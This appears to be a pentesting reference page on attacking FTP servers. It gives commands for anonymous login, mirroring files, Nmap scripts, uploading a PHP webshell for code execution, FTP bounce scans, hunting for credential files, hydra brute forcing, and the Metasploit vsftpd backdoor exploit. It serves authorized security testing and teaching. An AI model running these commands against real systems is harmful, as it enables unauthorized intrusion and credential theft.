> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# 21 - FTP (File Transfer Protocol)

`Default Port: 21`

**File Transfer Protocol (FTP)** is one of the oldest protocols still showing up on engagements, and it's worth checking early since misconfigurations here tend to be cheap wins. It runs on **port 21** by default, and a login of `anonymous:anonymous` is common enough that it's always worth trying before reaching for anything else.

> **Active Mode**
>
> The server opens a new connection back to the client for data transfer. Often blocked by client-side firewalls since it requires an inbound connection.

> **Passive Mode**
>
> The client initiates both connections instead. More firewall-friendly, and the default most clients and tools fall back to today.

> [!TIP]
>
> Always try anonymous login first, it costs nothing and is still common on misconfigured servers, printers, and NAS devices left on defaults.

***

## Connecting to the Service

A handful of tools can talk to FTP directly, which is useful for a quick look before reaching for anything more structured.

```bash theme={null}
ftp TARGET                    # standard FTP client
nc -nv TARGET 21                # raw banner grab over netcat, works even without an FTP client installed
```

If the server supports FTPS, `openssl` can connect and negotiate the encrypted session where a plain client would fail:

```bash theme={null}
openssl s_client -connect TARGET:21 -starttls ftp
```

> [!TIP]
>
> Even a basic banner grab is worth doing first. The welcome message often leaks the exact FTP daemon and version, which is enough to check for a known exploit before doing anything else.

***

## Anonymous Login and Downloading

If anonymous access works, pulling everything off the server in one shot is usually faster than browsing it file by file.

```bash theme={null}
ftp TARGET
# Username: anonymous
# Password: anonymous
```

```bash theme={null}
wget -m --no-passive ftp://anonymous:anonymous@TARGET
```

> [!NOTE]
>
> `-m` mirrors the entire directory structure recursively. On a server with a lot of content this can take a while, worth narrowing to a specific path first if you only need a quick look.

***

## Nmap Enumeration

Before touching anything manually, a handful of Nmap's built-in FTP scripts cover most of the initial recon in one pass.

```bash theme={null}
nmap -p21 -sV --script ftp-anon,ftp-syst TARGET
```

`ftp-anon` checks anonymous access and `ftp-syst` grabs system info the server exposes post-login. For checking the vsftpd backdoor specifically, or testing the FTP bounce technique below, dedicated scripts exist for both:

```bash theme={null}
nmap -p21 --script ftp-vsftpd-backdoor TARGET
nmap -p21 --script ftp-bounce TARGET
```

***

## Checking for Write Access

A server that allows anonymous login but also allows writes is a much bigger finding than read-only access, since it often means dropping a webshell directly onto a web root the FTP server shares with.

```bash theme={null}
ftp TARGET
# after logging in:
put test.txt
```

If the upload succeeds and the FTP root overlaps with a website's web root, uploading a webshell directly gets you code execution without needing any other vulnerability:

```bash theme={null}
curl -T shell.php ftp://anonymous:anonymous@TARGET/
curl http://TARGET/shell.php?cmd=id
```

> [!TIP]
>
> Even without a web root overlap, write access is still useful: dropping a file and checking whether it reappears elsewhere on the host (a shared mount, a sync job) can reveal connections between services that aren't obvious from the outside.

***

## FTP Bounce Attack

> [!WARNING]
>
> This is a legacy technique against old FTP daemons. Most modern servers reject it outright, but it's cheap to test and occasionally still works on older or embedded devices.

The `PORT` command can be abused to make the FTP server open a connection to a third host on your behalf, effectively using the FTP server as a scanning proxy. This is useful when the FTP server sits on a network segment you can't reach directly.

```bash theme={null}
nmap -Pn -b anonymous:anonymous@TARGET TARGET_TO_SCAN -p PORT
```

A successful bounce scan reports port states on the third host as seen by the FTP server, not by you, which is exactly what makes it useful for reaching otherwise unreachable hosts.

***

## Hunting for Credentials on the Server

Once you've got any level of access, FTP servers used for deployment or backups often have configuration files or credentials sitting in plain sight.

```bash theme={null}
ftp TARGET
# once connected:
ls -la
find . -iname "*.config" -o -iname "*.xml" -o -iname "*.ini"
```

Worth specifically checking for config files, backup archives, and anything named like credentials or a database dump, these show up on misconfigured FTP shares far more often than you'd expect.

> [!TIP]
>
> `lftp` handles recursive searching and mirroring far better than the stock `ftp` client, and scripts cleanly for larger directory trees:
>
> ```bash theme={null}
> lftp -u anonymous,anonymous TARGET
> lftp :~> find . | grep -iE "config|backup|\.env|password"
> ```

***

## Brute Forcing

When anonymous login fails, credential spraying is the next step. Worth checking for default or weak credentials before moving on to something more involved.

```bash theme={null}
hydra -L users.txt -P passwords.txt ftp://TARGET
```

***

## Metasploit Modules

A few auxiliary modules cover the same ground as the manual commands above, useful when you're already working inside msfconsole against several targets.

```bash theme={null}
search name:ftp                                  # list every FTP-related module
use auxiliary/scanner/ftp/ftp_version              # fingerprint the FTP daemon and version
use auxiliary/scanner/ftp/anonymous                  # check for anonymous login
use auxiliary/scanner/ftp/ftp_login                   # brute-force credentials
```

> [!WARNING]
>
> vsftpd 2.3.4 has a well-known backdoor baked into a specific build, if `ftp_version` identifies it, it's worth checking immediately rather than enumerating further.
>
> ```text theme={null}
> use exploit/unix/ftp/vsftpd_234_backdoor
> ```

***

## Quick Reference Tools

> **[Hackviser: FTP](https://hackviser.com/tactics/pentesting/services/ftp)**
>
> Quick-reference pentesting guide for the FTP service.

> **[HackTricks: FTP](https://hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html)**
>
> Deeper breakdown of FTP enumeration and exploitation techniques.

> [!WARNING]
>
> Only test FTP servers you're authorized to assess. Even anonymous login attempts can trip alerting on a monitored target.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.